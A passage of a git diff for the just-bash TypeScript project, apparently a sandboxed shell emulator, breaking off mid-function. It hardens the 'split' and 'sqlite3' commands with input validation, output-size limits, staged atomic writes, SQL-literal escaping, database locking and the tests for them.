-        if (Number.isNaN(chunks) || chunks < 1) {
+        const chunks = parsePositiveSafeInteger(args[i + 1]);
+        if (chunks === null) {
           return {
             exitCode: 1,
             stdout: "",
@@ -272,8 +327,8 @@ export const split: Command = {
         options.chunks = chunks;
         i += 2;
       } else if (arg.match(/^-n\d+$/)) {
-        const chunks = Number.parseInt(arg.slice(2), 10);
-        if (Number.isNaN(chunks) || chunks < 1) {
+        const chunks = parsePositiveSafeInteger(arg.slice(2));
+        if (chunks === null) {
           return {
             exitCode: 1,
             stdout: "",
@@ -284,8 +339,12 @@ export const split: Command = {
         options.chunks = chunks;
         i++;
       } else if (arg === "-a" && i + 1 < args.length) {
-        const len = Number.parseInt(args[i + 1], 10);
-        if (Number.isNaN(len) || len < 1) {
+        const len = parsePositiveSafeInteger(args[i + 1]);
+        if (
+          len === null ||
+          len >
+            Math.min(ctx.limits.maxStringLength, ctx.limits.maxArrayElements)
+        ) {
           return {
             exitCode: 1,
             stdout: "",
@@ -295,8 +354,12 @@ export const split: Command = {
         options.suffixLength = len;
         i += 2;
       } else if (arg.match(/^-a\d+$/)) {
-        const len = Number.parseInt(arg.slice(2), 10);
-        if (Number.isNaN(len) || len < 1) {
+        const len = parsePositiveSafeInteger(arg.slice(2));
+        if (
+          len === null ||
+          len >
+            Math.min(ctx.limits.maxStringLength, ctx.limits.maxArrayElements)
+        ) {
           return {
             exitCode: 1,
             stdout: "",
@@ -335,6 +398,30 @@ export const split: Command = {
     if (positionalArgs.length >= 2) {
       prefix = positionalArgs[1];
     }
+    if (positionalArgs.length > 2) {
+      return {
+        exitCode: 1,
+        stdout: "",
+        stderr: `split: extra operand '${positionalArgs[2]}'\n`,
+      };
+    }
+    if (
+      utf8ByteLength(prefix) > ctx.limits.maxStringLength ||
+      utf8ByteLength(options.additionalSuffix) > ctx.limits.maxStringLength ||
+      options.suffixLength >
+        ctx.limits.maxStringLength -
+          Math.min(ctx.limits.maxStringLength, utf8ByteLength(prefix)) -
+          Math.min(
+            ctx.limits.maxStringLength,
+            utf8ByteLength(options.additionalSuffix),
+          )
+    ) {
+      return {
+        exitCode: 1,
+        stdout: "",
+        stderr: "split: output filename exceeds configured string limit\n",
+      };
+    }
 
     // Read input content. split is byte-clean — it chunks the file by line
     // or byte count and never interprets content. Both stdin and named
@@ -343,15 +430,37 @@ export const split: Command = {
     // would decode multibyte codepoints, then the binary write would
     // truncate each one back to a single low byte — silent data loss for
     // non-ASCII files.
-    let content: string;
+    let content: Uint8Array;
+    let inputPath: string | null = null;
+    let contentLease: ResourceLease | undefined;
     if (inputFile === "-") {
-      content = latin1FromBytes(ctx.stdin) ?? "";
+      const inputLength = latin1FromBytes(ctx.stdin).length;
+      contentLease = ctx.executionScope?.reserveBytes(
+        "split transaction",
+        inputLength * 2,
+        "split",
+      );
+      content = toUint8Array(latin1FromBytes(ctx.stdin));
     } else {
-      const filePath = ctx.fs.resolvePath(ctx.cwd, inputFile);
+      inputPath = ctx.fs.resolvePath(ctx.cwd, inputFile);
       try {
-        const fileBytes = await readBytesFrom(ctx.fs, filePath);
-        content = latin1FromBytes(fileBytes);
-      } catch {
+        const stat = await ctx.fs.stat(inputPath);
+        contentLease = ctx.executionScope?.reserveBytes(
+          "split transaction",
+          stat.size * 2,
+          "split",
+        );
+        content = await ctx.fs.readFileBuffer(inputPath);
+        if (content.byteLength > stat.size) {
+          throw new ExecutionLimitError(
+            "split: input grew while being read",
+            "string_length",
+          );
+        }
+        ctx.executionScope?.consumeInput(content.byteLength, "split");
+      } catch (error) {
+        contentLease?.release();
+        rethrowFatalExecutionError(error);
         return {
           exitCode: 1,
           stdout: "",
@@ -360,65 +469,229 @@ export const split: Command = {
       }
     }
 
-    // Handle empty input
-    if (content === "") {
-      return {
-        exitCode: 0,
-        stdout: "",
-        stderr: "",
-      };
-    }
+    try {
+      // Handle empty input
+      if (content.length === 0) {
+        return {
+          exitCode: 0,
+          stdout: "",
+          stderr: "",
+        };
+      }
 
-    // Split content
-    let chunks: { content: string; hasContent: boolean }[];
-    switch (options.mode) {
-      case "lines":
-        chunks = splitByLines(content, options.lines);
-        break;
-      case "bytes":
-        chunks = splitByBytes(content, options.bytes);
-        break;
-      case "chunks":
-        chunks = splitIntoChunks(content, options.chunks);
-        break;
-      default: {
-        const _exhaustive: never = options.mode;
-        return _exhaustive;
+      if (options.mode === "chunks" && options.chunks > MAX_OUTPUT_FILES) {
+        return {
+          exitCode: 1,
+          stdout: "",
+          stderr: `split: too many output files (${options.chunks}), limit is ${MAX_OUTPUT_FILES}\n`,
+        };
       }
-    }
 
-    // Guard against excessive file creation
-    if (chunks.length > MAX_OUTPUT_FILES) {
-      return {
-        exitCode: 1,
-        stdout: "",
-        stderr: `split: too many output files (${chunks.length}), limit is ${MAX_OUTPUT_FILES}\n`,
-      };
-    }
+      // Split content
+      let chunks: Uint8Array[];
+      switch (options.mode) {
+        case "lines":
+          chunks = splitByLines(content, options.lines);
+          break;
+        case "bytes":
+          chunks = splitByBytes(content, options.bytes);
+          break;
+        case "chunks":
+          chunks = splitIntoChunks(content, options.chunks);
+          break;
+        default: {
+          const _exhaustive: never = options.mode;
+          return _exhaustive;
+        }
+      }
 
-    // Write output files
-    for (let chunkIndex = 0; chunkIndex < chunks.length; chunkIndex++) {
-      const chunk = chunks[chunkIndex];
-      if (!chunk.hasContent) continue;
+      // Guard against excessive file creation
+      if (chunks.length > MAX_OUTPUT_FILES) {
+        return {
+          exitCode: 1,
+          stdout: "",
+          stderr: `split: too many output files (${chunks.length}), limit is ${MAX_OUTPUT_FILES}\n`,
+        };
+      }
 
-      const suffix = generateSuffix(
-        chunkIndex,
+      const capacity = suffixCapacity(
         options.useNumericSuffix,
         options.suffixLength,
       );
-      const filename = `${prefix}${suffix}${options.additionalSuffix}`;
-      const filePath = ctx.fs.resolvePath(ctx.cwd, filename);
+      if (chunks.length > capacity) {
+        return {
+          exitCode: 1,
+          stdout: "",
+          stderr: `split: output file suffixes exhausted at ${capacity} files\n`,
+        };
+      }
+      ctx.executionScope?.consumeWork(
+        chunks.length * options.suffixLength,
+        "split suffix generation",
+      );
 
-      // chunk.content is the latin1 byte view of stdin — write as binary
-      // so writeFile doesn't re-encode every >0x7F char as a UTF-8 sequence.
-      await ctx.fs.writeFile(filePath, chunk.content, "binary");
-    }
+      // Plan and validate every output before the first destructive write.
+      const outputs: PlannedOutput[] = [];
+      const identities = new Set<string>();
+      const inputIdentity = inputPath
+        ? await resolveFileIdentity(ctx.fs, inputPath)
+        : null;
+      if (inputIdentity?.existence === "unknown") {
+        return {
+          exitCode: 1,
+          stdout: "",
+          stderr: "split: cannot safely identify input file\n",
+        };
+      }
+      for (let chunkIndex = 0; chunkIndex < chunks.length; chunkIndex++) {
+        const suffix = generateSuffix(
+          chunkIndex,
+          options.useNumericSuffix,
+          options.suffixLength,
+        );
+        const filename = `${prefix}${suffix}${options.additionalSuffix}`;
+        const path = ctx.fs.resolvePath(ctx.cwd, filename);
+        const identity = await resolveFileIdentity(ctx.fs, path);
+        const key = identityKey(identity);
+        if (identity.existence === "unknown" || key === undefined) {
+          return {
+            exitCode: 1,
+            stdout: "",
+            stderr: `split: cannot safely identify output file '${filename}'\n`,
+          };
+        }
+        if (key !== undefined && identities.has(key)) {
+          return {
+            exitCode: 1,
+            stdout: "",
+            stderr: `split: duplicate output file '${filename}'\n`,
+          };
+        }
+        if (
+          inputIdentity !== null &&
+          ((inputIdentity.existence === "existing" &&
+            identity.existence === "existing" &&
+            inputIdentity.stableIdentity !== undefined &&
+            inputIdentity.stableIdentity === identity.stableIdentity) ||
+            (inputIdentity.canonicalPath !== undefined &&
+              inputIdentity.canonicalPath === identity.canonicalPath))
+        ) {
+          return {
+            exitCode: 1,
+            stdout: "",
+            stderr: `split: output file '${filename}' would overwrite input\n`,
+          };
+        }
+        if (key !== undefined) identities.add(key);
+        outputs.push({
+          path,
+          displayName: filename,
+          content: chunks[chunkIndex],
+          initialIdentity: identity,
+          stagePath: "",
+          committed: false,
+        });
+      }
 
-    return {
-      exitCode: 0,
-      stdout: "",
-      stderr: "",
-    };
+      // Build every chunk under a new sibling name. Visible output names are
+      // changed only during commit, and existing entries are renamed to backups
+      // rather than opened/truncated. This keeps a hard-linked input inode safe.
+      try {
+        for (const output of outputs) {
+          output.stagePath = await uniqueSiblingPath(ctx, output.path, "stage");
+          await ctx.fs.writeFile(output.stagePath, output.content);
+        }
+
+        // Revalidate the source and complete destination set immediately before
+        // the first visible mutation. A newly-created alias fails closed.
+        if (
+          inputPath !== null &&
+          inputIdentity !== null &&
+          !identityUnchanged(
+            inputIdentity,
+            await resolveFileIdentity(ctx.fs, inputPath),
+          )
+        ) {
+          throw new Error("input identity changed during split");
+        }
+        for (const output of outputs) {
+          const current = await resolveFileIdentity(ctx.fs, output.path);
+          if (!identityUnchanged(output.initialIdentity, current)) {
+            throw new Error("output identity changed during split");
+          }
+          if (
+            inputIdentity?.existence === "existing" &&
+            current.existence === "existing" &&
+            inputIdentity.stableIdentity === current.stableIdentity
+          ) {
+            throw new Error("output aliases input");
+          }
+        }
+
+        for (const output of outputs) {
+          // Repeat per-output just before its destructive rename to narrow the
+          // validation/commit race on custom and host-backed filesystems.
+          if (
+            !identityUnchanged(
+              output.initialIdentity,
+              await resolveFileIdentity(ctx.fs, output.path),
+            )
+          ) {
+            throw new Error("output identity changed during split");
+          }
+          if (output.initialIdentity.existence === "existing") {
+            output.backupPath = await uniqueSiblingPath(
+              ctx,
+              output.path,
+              "backup",
+            );
+            await ctx.fs.mv(output.path, output.backupPath);
+          }
+          await ctx.fs.mv(output.stagePath, output.path);
+          output.committed = true;
+        }
+        for (const output of outputs) {
+          if (output.backupPath) {
+            // The visible batch is fully committed. Backup cleanup is best
+            // effort: a cleanup failure must not enter rollback after an older
+            // backup has already been deleted.
+            await ctx.fs
+              .rm(output.backupPath, { force: true, recursive: true })
+              .catch(() => {});
+            output.backupPath = undefined;
+          }
+        }
+      } catch {
+        for (const output of [...outputs].reverse()) {
+          if (output.committed) {
+            await ctx.fs
+              .rm(output.path, { force: true, recursive: true })
+              .catch(() => {});
+          }
+          if (output.backupPath) {
+            await ctx.fs.mv(output.backupPath, output.path).catch(() => {});
+          }
+          if (output.stagePath) {
+            await ctx.fs
+              .rm(output.stagePath, { force: true, recursive: true })
+              .catch(() => {});
+          }
+        }
+        return {
+          exitCode: 1,
+          stdout: "",
+          stderr: "split: failed to write output\n",
+        };
+      }
+
+      return {
+        exitCode: 0,
+        stdout: "",
+        stderr: "",
+      };
+    } finally {
+      contentLease?.release();
+    }
   },
 };
 
diff --git a/packages/just-bash/src/commands/sqlite3/formatters.ts b/packages/just-bash/src/commands/sqlite3/formatters.ts
index 10a118ec..05207333 100644
--- a/packages/just-bash/src/commands/sqlite3/formatters.ts
+++ b/packages/just-bash/src/commands/sqlite3/formatters.ts
@@ -22,6 +22,43 @@ export interface FormatOptions {
   separator: string;
   nullValue: string;
   newline: string;
+  /** Maximum encoded output bytes produced by this formatting call. */
+  maxOutputSize?: number;
+}
+
+function valueInputByteLength(value: unknown, nullValue: string): number {
+  if (value === null || value === undefined)
+    return Buffer.byteLength(nullValue, "utf8");
+  if (value instanceof Uint8Array || Buffer.isBuffer(value))
+    return value.byteLength;
+  return Buffer.byteLength(String(value), "utf8");
+}
+
+function assertFormattingBudget(
+  columns: string[],
+  rows: unknown[][],
+  options: FormatOptions,
+): number {
+  const limit = options.maxOutputSize ?? Number.MAX_SAFE_INTEGER;
+  let inputBytes = Buffer.byteLength(options.separator, "utf8");
+  inputBytes += Buffer.byteLength(options.newline, "utf8");
+  for (const column of columns) inputBytes += Buffer.byteLength(column, "utf8");
+  for (const row of rows) {
+    inputBytes += row.length * 16;
+    for (const value of row)
+      inputBytes += valueInputByteLength(value, options.nullValue);
+    if (inputBytes > limit) break;
+  }
+
+  // JSON, HTML and quoting can expand every input byte. Eight times the raw
+  // payload plus structural overhead is a deliberately conservative ceiling,
+  // checked before padEnd/repeat/map/join allocate formatted copies.
+  const worstCase =
+    inputBytes * 8 + (rows.length + 3) * (columns.length + 3) * 16;
+  if (!Number.isSafeInteger(worstCase) || worstCase > limit) {
+    throw new Error(`formatted output exceeds ${limit} byte limit`);
+  }
+  return limit;
 }
 
 /**
@@ -32,32 +69,49 @@ export function formatOutput(
   rows: unknown[][],
   options: FormatOptions,
 ): string {
+  const limit = assertFormattingBudget(columns, rows, options);
+  let output: string;
   switch (options.mode) {
     case "list":
-      return formatList(columns, rows, options);
+      output = formatList(columns, rows, options);
+      break;
     case "csv":
-      return formatCsv(columns, rows, options);
+      output = formatCsv(columns, rows, options);
+      break;
     case "json":
-      return formatJson(columns, rows);
+      output = formatJson(columns, rows);
+      break;
     case "line":
-      return formatLine(columns, rows, options);
+      output = formatLine(columns, rows, options);
+      break;
     case "column":
-      return formatColumn(columns, rows, options);
+      output = formatColumn(columns, rows, options);
+      break;
     case "table":
-      return formatTable(columns, rows, options);
+      output = formatTable(columns, rows, options);
+      break;
     case "markdown":
-      return formatMarkdown(columns, rows, options);
+      output = formatMarkdown(columns, rows, options);
+      break;
     case "tabs":
-      return formatTabs(columns, rows, options);
+      output = formatTabs(columns, rows, options);
+      break;
     case "box":
-      return formatBox(columns, rows, options);
+      output = formatBox(columns, rows, options);
+      break;
     case "quote":
-      return formatQuote(columns, rows, options);
+      output = formatQuote(columns, rows, options);
+      break;
     case "html":
-      return formatHtml(columns, rows, options);
+      output = formatHtml(columns, rows, options);
+      break;
     case "ascii":
-      return formatAscii(columns, rows, options);
+      output = formatAscii(columns, rows, options);
+      break;
   }
+  if (Buffer.byteLength(output, "utf8") > limit)
+    throw new Error(`formatted output exceeds ${limit} byte limit`);
+  return output;
 }
 
 function valueToString(value: unknown, nullValue: string): string {
@@ -349,28 +403,31 @@ function formatQuote(
 ): string {
   const lines: string[] = [];
   if (options.header && columns.length > 0) {
-    lines.push(columns.map((c) => `'${c}'`).join(","));
+    lines.push(columns.map(sqlQuoteLiteral).join(","));
   }
   for (const row of rows) {
-    lines.push(
-      row
-        .map((v) => {
-          if (v === null || v === undefined) return "NULL";
-          if (typeof v === "number") {
-            // Use full precision for floats like real sqlite3
-            if (Number.isInteger(v)) return String(v);
-            return floatToFullPrecision(v);
-          }
-          return `'${String(v)}'`;
-        })
-        .join(","),
-    );
+    lines.push(row.map(sqlQuoteLiteral).join(","));
   }
   return lines.length > 0
     ? `${lines.join(options.newline)}${options.newline}`
     : "";
 }
 
+/** Serialize one SQLite value as a replay-safe SQL literal. */
+function sqlQuoteLiteral(value: unknown): string {
+  if (value === null || value === undefined) return "NULL";
+  if (value instanceof Uint8Array || Buffer.isBuffer(value)) {
+    return `X'${Buffer.from(value as Uint8Array)
+      .toString("hex")
+      .toUpperCase()}'`;
+  }
+  if (typeof value === "number") {
+    if (Number.isInteger(value)) return String(value);
+    if (Number.isFinite(value)) return floatToFullPrecision(value);
+  }
+  return `'${String(value).replace(/'/g, "''")}'`;
+}
+
 /**
  * HTML mode: HTML table rows
  */
diff --git a/packages/just-bash/src/commands/sqlite3/sqlite3.formatters.test.ts b/packages/just-bash/src/commands/sqlite3/sqlite3.formatters.test.ts
index da139d99..6d357941 100644
--- a/packages/just-bash/src/commands/sqlite3/sqlite3.formatters.test.ts
+++ b/packages/just-bash/src/commands/sqlite3/sqlite3.formatters.test.ts
@@ -2,6 +2,30 @@ import { describe, expect, it } from "vitest";
 import { Bash } from "../../Bash.js";
 
 describe("sqlite3 formatters", () => {
+  describe("quote mode replay safety", () => {
+    it("serializes apostrophes, blobs, NULL, integers, and floats as SQL literals", async () => {
+      const env = new Bash();
+      const result = await env.exec(
+        `sqlite3 -quote :memory: "SELECT 'O''Brien', X'00ABFF', NULL, 42, 3.5"`,
+      );
+      expect(result.exitCode).toBe(0);
+      expect(result.stdout).toBe("'O''Brien',X'00ABFF',NULL,42,3.5\n");
+    });
+
+    it("round-trips quote output as an INSERT value list", async () => {
+      const source = new Bash();
+      const quoted = await source.exec(
+        `sqlite3 -quote :memory: "SELECT 'a''b', X'0001FE', NULL, -7, 0.125"`,
+      );
+      const replay = new Bash();
+      const result = await replay.exec(
+        `sqlite3 -quote :memory: "CREATE TABLE t(a,b,c,d,e); INSERT INTO t VALUES(${quoted.stdout.trim()}); SELECT a,b,c,d,e FROM t"`,
+      );
+      expect(result.exitCode).toBe(0);
+      expect(result.stdout).toBe(quoted.stdout);
+    });
+  });
+
   describe("list mode (default)", () => {
     it("should output pipe-separated by default", async () => {
       const env = new Bash();
diff --git a/packages/just-bash/src/commands/sqlite3/sqlite3.lock-abort.test.ts b/packages/just-bash/src/commands/sqlite3/sqlite3.lock-abort.test.ts
new file mode 100644
index 00000000..5d13a889
--- /dev/null
+++ b/packages/just-bash/src/commands/sqlite3/sqlite3.lock-abort.test.ts
@@ -0,0 +1,27 @@
+import { describe, expect, it } from "vitest";
+import { _internals } from "./sqlite3.js";
+
+describe("sqlite3 database lock cancellation", () => {
+  it("removes an aborted waiter without stealing the next lock grant", async () => {
+    const fsIdentity = {};
+    const releaseFirst = await _internals.acquireDatabaseLock(
+      fsIdentity,
+      "/database",
+    );
+    const abort = new AbortController();
+    const waiting = _internals.acquireDatabaseLock(
+      fsIdentity,
+      "/database",
+      abort.signal,
+    );
+    abort.abort();
+    await expect(waiting).rejects.toThrow("database lock wait aborted");
+
+    releaseFirst();
+    const releaseNext = await _internals.acquireDatabaseLock(
+      fsIdentity,
+      "/database",
+    );
+    releaseNext();
+  });
+});
diff --git a/packages/just-bash/src/commands/sqlite3/sqlite3.parsing.test.ts b/packages/just-bash/src/commands/sqlite3/sqlite3.parsing.test.ts
index e40aed52..a286eaba 100644
--- a/packages/just-bash/src/commands/sqlite3/sqlite3.parsing.test.ts
+++ b/packages/just-bash/src/commands/sqlite3/sqlite3.parsing.test.ts
@@ -3,6 +3,24 @@ import { Bash } from "../../Bash.js";
 
 describe("sqlite3 SQL parsing", () => {
   describe("statement splitting", () => {
+    it("lets SQLite preserve semicolons inside trigger bodies", async () => {
+      const env = new Bash();
+      const result = await env.exec(
+        `sqlite3 :memory: "CREATE TABLE source(x); CREATE TABLE audit(x); CREATE TRIGGER log_insert AFTER INSERT ON source BEGIN INSERT INTO audit VALUES(new.x); INSERT INTO audit VALUES(new.x + 1); END; INSERT INTO source VALUES(4); SELECT x FROM audit ORDER BY x"`,
+      );
+      expect(result.exitCode).toBe(0);
+      expect(result.stdout).toBe("4\n5\n");
+    });
+
+    it("lets SQLite parse bracket identifiers containing semicolons", async () => {
+      const env = new Bash();
+      const result = await env.exec(
+        'sqlite3 :memory: "CREATE TABLE [a;b] ([c;d]); INSERT INTO [a;b] VALUES(9); SELECT [c;d] FROM [a;b]"',
+      );
+      expect(result.exitCode).toBe(0);
+      expect(result.stdout).toBe("9\n");
+    });
+
     it("should handle semicolon inside single-quoted string", async () => {
       const env = new Bash();
       const result = await env.exec(
diff --git a/packages/just-bash/src/commands/sqlite3/sqlite3.resource-limits.test.ts b/packages/just-bash/src/commands/sqlite3/sqlite3.resource-limits.test.ts
new file mode 100644
index 00000000..bf742ce1
--- /dev/null
+++ b/packages/just-bash/src/commands/sqlite3/sqlite3.resource-limits.test.ts
@@ -0,0 +1,57 @@
+import { describe, expect, it, vi } from "vitest";
+import { Bash } from "../../Bash.js";
+import { InMemoryFs } from "../../fs/in-memory-fs/in-memory-fs.js";
+
+describe("sqlite3 resource limits", () => {
+  it("stops collecting rows at the worker bridge row limit", async () => {
+    const env = new Bash({ executionLimits: { maxArrayElements: 2 } });
+    const result = await env.exec(
+      'sqlite3 :memory: "SELECT 1 UNION ALL SELECT 2 UNION ALL SELECT 3"',
+    );
+
+    expect(result.exitCode).toBe(0);
+    expect(result.stdout).toContain("query result exceeds 2 row limit");
+  });
+
+  it("rejects formatter expansion before building oversized output", async () => {
+    const env = new Bash({
+      executionLimits: { maxOutputSize: 128, maxStringLength: 128 },
+    });
+    const result = await env.exec(
+      `sqlite3 -html :memory: "SELECT '${"<&".repeat(12)}'"`,
+    );
+
+    expect(result.exitCode).toBe(1);
+    expect(result.stderr).toContain("formatted output exceeds 128 byte limit");
+  });
+
+  it("rejects an oversized database prospectively before reading it", async () => {
+    const fs = new InMemoryFs({ "/large.db": "12345" });
+    const read = vi.spyOn(fs, "readFileBuffer");
+    const env = new Bash({
+      fs,
+      executionLimits: { maxDatabaseBytes: 4 },
+    });
+
+    const result = await env.exec('sqlite3 /large.db "SELECT 1"');
+    expect(result.exitCode).toBe(1);
+    expect(result.stderr).toContain("database exceeds 4 byte limit");
+    expect(read).not.toHaveBeenCalled();
+  });
+
+  it("checks the actual database buffer after a stat/read race", async () => {
+    const fs = new InMemoryFs({ "/growing.db": "12345" });
+    const actualStat = await fs.stat("/growing.db");
+    vi.spyOn(fs, "stat").mockResolvedValue({ ...actualStat, size: 4 });
+    const read = vi.spyOn(fs, "readFileBuffer");
+    const env = new Bash({
+      fs,
+      executionLimits: { maxDatabaseBytes: 4 },
+    });
+
+    const result = await env.exec('sqlite3 /growing.db "SELECT 1"');
+    expect(result.exitCode).toBe(1);
+    expect(result.stderr).toContain("database exceeds 4 byte limit");
+    expect(read).toHaveBeenCalledOnce();
+  });
+});
diff --git a/packages/just-bash/src/commands/sqlite3/sqlite3.ts b/packages/just-bash/src/commands/sqlite3/sqlite3.ts
index 2af3bcdd..22cdb610 100644
--- a/packages/just-bash/src/commands/sqlite3/sqlite3.ts
+++ b/packages/just-bash/src/commands/sqlite3/sqlite3.ts
@@ -11,22 +11,28 @@
  * making ATTACH DATABASE and VACUUM INTO safe (they only operate on virtual buffers).
  */
 
-import { randomBytes } from "node:crypto";
 import { existsSync } from "node:fs";
 import { dirname, join, sep } from "node:path";
 import { fileURLToPath } from "node:url";
 import { Worker } from "node:worker_threads";
 import initSqlJs from "sql.js";
 import { decodeBytesToUtf8 } from "../../encoding.js";
+import type { ResourceLease } from "../../execution-scope.js";
 import {
   sanitizeErrorMessage,
   sanitizeHostErrorMessage,
 } from "../../fs/sanitize-error.js";
+import { resolveFileIdentity } from "../../fs/traversal.js";
+import { getErrorMessage } from "../../interpreter/helpers/errors.js";
 import { bindDefenseContextCallback } from "../../security/defense-context.js";
 import { DefenseInDepthBox } from "../../security/defense-in-depth-box.js";
-import { _clearTimeout, _setTimeout } from "../../timers.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { hasHelpFlag, showHelp } from "../help.js";
+import { WorkerRequestController } from "../worker-request-controller.js";
 
 import {
   type FormatOptions,
@@ -40,8 +46,130 @@ import type {
   WorkerSuccess,
 } from "./worker.js";
 
-/** Default query timeout in milliseconds (5 seconds) */
-const DEFAULT_QUERY_TIMEOUT_MS = 5000;
+const MAX_DATABASE_LOCK_WAITERS = 1024;
+const SQLITE_WORKER_OLD_GENERATION_MB = 128;
+const SQLITE_WORKER_YOUNG_GENERATION_MB = 16;
+const WORKER_TERMINATION_UNACKNOWLEDGED =
+  "Worker termination was not acknowledged";
+
+function assertDatabaseSize(size: number, maximum: number): void {
+  if (!Number.isSafeInteger(size) || size < 0 || size > maximum) {
+    throw new Error(`database exceeds ${maximum} byte limit`);
+  }
+}
+
+interface DatabaseLock {
+  held: boolean;
+  poisonedError?: string;
+  waiters: Array<{
+    grant(): void;
+    reject(error: Error): void;
+    signal?: AbortSignal;
+    abort?: () => void;
+  }>;
+}
+
+// Lock namespaces are scoped to an IFileSystem instance. Identical virtual
+// paths in independent Bash environments must never block one another.
+const databaseLocks = new WeakMap<object, Map<string, DatabaseLock>>();
+
+async function acquireDatabaseLock(
+  fsIdentity: object,
+  path: string,
+  signal?: AbortSignal,
+): Promise<() => void> {
+  let locks = databaseLocks.get(fsIdentity);
+  if (!locks) {
+    locks = new Map();
+    databaseLocks.set(fsIdentity, locks);
+  }
+  let lock = locks.get(path);
+  if (!lock) {
+    lock = { held: false, waiters: [] };
+    locks.set(path, lock);
+  }
+  if (lock.poisonedError) throw new Error(lock.poisonedError);
+  if (lock.held) {
+    if (lock.waiters.length >= MAX_DATABASE_LOCK_WAITERS)
+      throw new Error("too many concurrent database operations");
+    await new Promise<void>((resolve, reject) => {
+      const waiter: DatabaseLock["waiters"][number] = {
+        signal,
+        grant() {
+          if (signal && waiter.abort) {
+            signal.removeEventListener("abort", waiter.abort);
+          }
+          resolve();
+        },
+        reject,
+      };
+      if (signal) {
+        waiter.abort = () => {
+          const index = lock?.waiters.indexOf(waiter) ?? -1;
+          if (index !== -1) lock?.waiters.splice(index, 1);
+          reject(new Error("database lock wait aborted"));
+        };
+        signal.addEventListener("abort", waiter.abort, { once: true });
+        if (signal.aborted) {
+          waiter.abort();
+          return;
+        }
+      }
+      lock?.waiters.push(waiter);
+    });
+  } else {
+    lock.held = true;
+  }
+
+  let released = false;
+  return () => {
+    if (released) return;
+    released = true;
+    if (lock?.poisonedError) return;
+    const next = lock?.waiters.shift();
+    if (next) next.grant();
+    else {
+      if (lock) lock.held = false;
+      locks?.delete(path);
+    }
+  };
+}
+
+async function acquireDatabaseLocks(
+  fsIdentity: object,
+  paths: readonly string[],
+  signal?: AbortSignal,
+): Promise<() => void> {
+  const releases: Array<() => void> = [];
+  try {
+    // A stable global order prevents two alias sets from deadlocking.
+    for (const path of [...new Set(paths)].sort()) {
+      releases.push(await acquireDatabaseLock(fsIdentity, path, signal));
+    }
+  } catch (error) {
+    for (const release of releases.reverse()) release();
+    throw error;
+  }
+  return () => {
+    for (const release of releases.reverse()) release();
+  };
+}
+
+function poisonDatabaseLock(
+  fsIdentity: object,
+  path: string,
+  error: string,
+): void {
+  const lock = databaseLocks.get(fsIdentity)?.get(path);
+  if (!lock || lock.poisonedError) return;
+  lock.poisonedError = error;
+  for (const waiter of lock.waiters.splice(0)) {
+    if (waiter.signal && waiter.abort) {
+      waiter.signal.removeEventListener("abort", waiter.abort);
+    }
+    waiter.reject(new Error(error));
+  }
+}
 
 const sqlite3Help = {
   name: "sqlite3",
@@ -279,17 +407,29 @@ function findWorkerPath(
 export const _internals: {
   createWorker(workerPath: string, input: WorkerInput): Worker;
   findWorkerPath(currentDir?: string): string;
+  acquireDatabaseLock(
+    fsIdentity: object,
+    path: string,
+    signal?: AbortSignal,
+  ): Promise<() => void>;
 } = {
   createWorker(workerPath: string, input: WorkerInput): Worker {
-    return new Worker(workerPath, { workerData: input });
+    // @banned-pattern-ignore: factory result is immediately owned by the per-request WorkerRequestController
+    return new Worker(workerPath, {
+      workerData: input,
+      // This bounds V8-managed allocations in addition to the explicit
+      // result/database bridge budgets. WASM linear memory still requires the
+      // application-level checks enforced inside the worker.
+      resourceLimits: {
+        maxOldGenerationSizeMb: SQLITE_WORKER_OLD_GENERATION_MB,
+        maxYoungGenerationSizeMb: SQLITE_WORKER_YOUNG_GENERATION_MB,
+      },
+    });
   },
   findWorkerPath,
+  acquireDatabaseLock,
 };
 
-function generateWorkerProtocolToken(): string {
-  return randomBytes(16).toString("hex");
-}
-
 function normalizeWorkerResult(
   result: unknown,
   expectedProtocolToken: string,
@@ -385,53 +525,124 @@ function normalizeWorkerResult(
 
 async function executeInWorker(
   input: WorkerInput,
-  timeoutMs: number,
+  controller: WorkerRequestController,
   requireDefenseContext: boolean | undefined,
 ): Promise<WorkerOutput> {
   // Try to use worker thread for timeout protection
   try {
     const workerPath = findWorkerPath();
 
-    return await new Promise((resolve, reject) => {
-      const worker = DefenseInDepthBox.runTrusted(() =>
-        _internals.createWorker(workerPath, input),
-      );
+    return await new Promise((resolve) => {
+      let worker: Worker | undefined;
+      let settled = false;
+      let listenersAttached = false;
+
+      const cleanupListeners = (): void => {
+        if (!listenersAttached || !worker) return;
+        listenersAttached = false;
+        worker.removeListener?.("message", dispatchMessage);
+        worker.removeListener?.("error", dispatchError);
+        worker.removeListener?.("exit", dispatchExit);
+      };
 
-      const onTimeout = bindDefenseContextCallback(
+      const settle = async (
+        result: WorkerOutput,
+        terminate: boolean,
+      ): Promise<void> => {
+        if (settled) return;
+        settled = true;
+        cleanupListeners();
+        const acknowledged = terminate
+          ? await controller.terminate(worker)
+          : false;
+        controller.close();
+        resolve(
+          acknowledged
+            ? result
+            : {
+                success: false,
+                error: WORKER_TERMINATION_UNACKNOWLEDGED,
+              },
+        );
+      };
+
+      const onCancel = bindDefenseContextCallback(
         requireDefenseContext,
         "sqlite3",
-        "worker timeout callback",
-        () => {
-          worker.terminate();
-          resolve({
-            success: false,
-            error: `Query timeout: execution exceeded ${timeoutMs}ms limit`,
-          });
+        "worker cancellation callback",
+        (reason: "abort" | "timeout") => {
+          void settle(
+            {
+              success: false,
+              error:
+                reason === "abort"
+                  ? controller.abortMessage()
+                  : controller.timeoutMessage("Query"),
+            },
+            true,
+          );
         },
       );
-
-      const dispatchTimeout = (): void => {
+      controller.arm((reason) => {
         try {
-          onTimeout();
+          onCancel(reason);
         } catch (error) {
-          const message =
-            error instanceof Error ? error.message : String(error);
-          resolve({
-            success: false,
-            error: sanitizeHostErrorMessage(message),
-          });
+          void settle(
+            {
+              success: false,
+              error: sanitizeHostErrorMessage(getErrorMessage(error)),
+            },
+            true,
+          );
         }
-      };
+      });
+      if (controller.isCanceled) return;
 
-      const timeout = _setTimeout(dispatchTimeout, timeoutMs);
+      try {
+        worker = DefenseInDepthBox.runTrusted(() =>
+          _internals.createWorker(workerPath, input),
+        );
+      } catch (error) {
+        controller.close();
+        throw error;
+      }
 
       const onMessage = bindDefenseContextCallback(
         requireDefenseContext,
         "sqlite3",
         "worker message callback",
         (result: unknown) => {
-          _clearTimeout(timeout);
-          resolve(normalizeWorkerResult(result, input.protocolToken));
+          try {
+            const response =
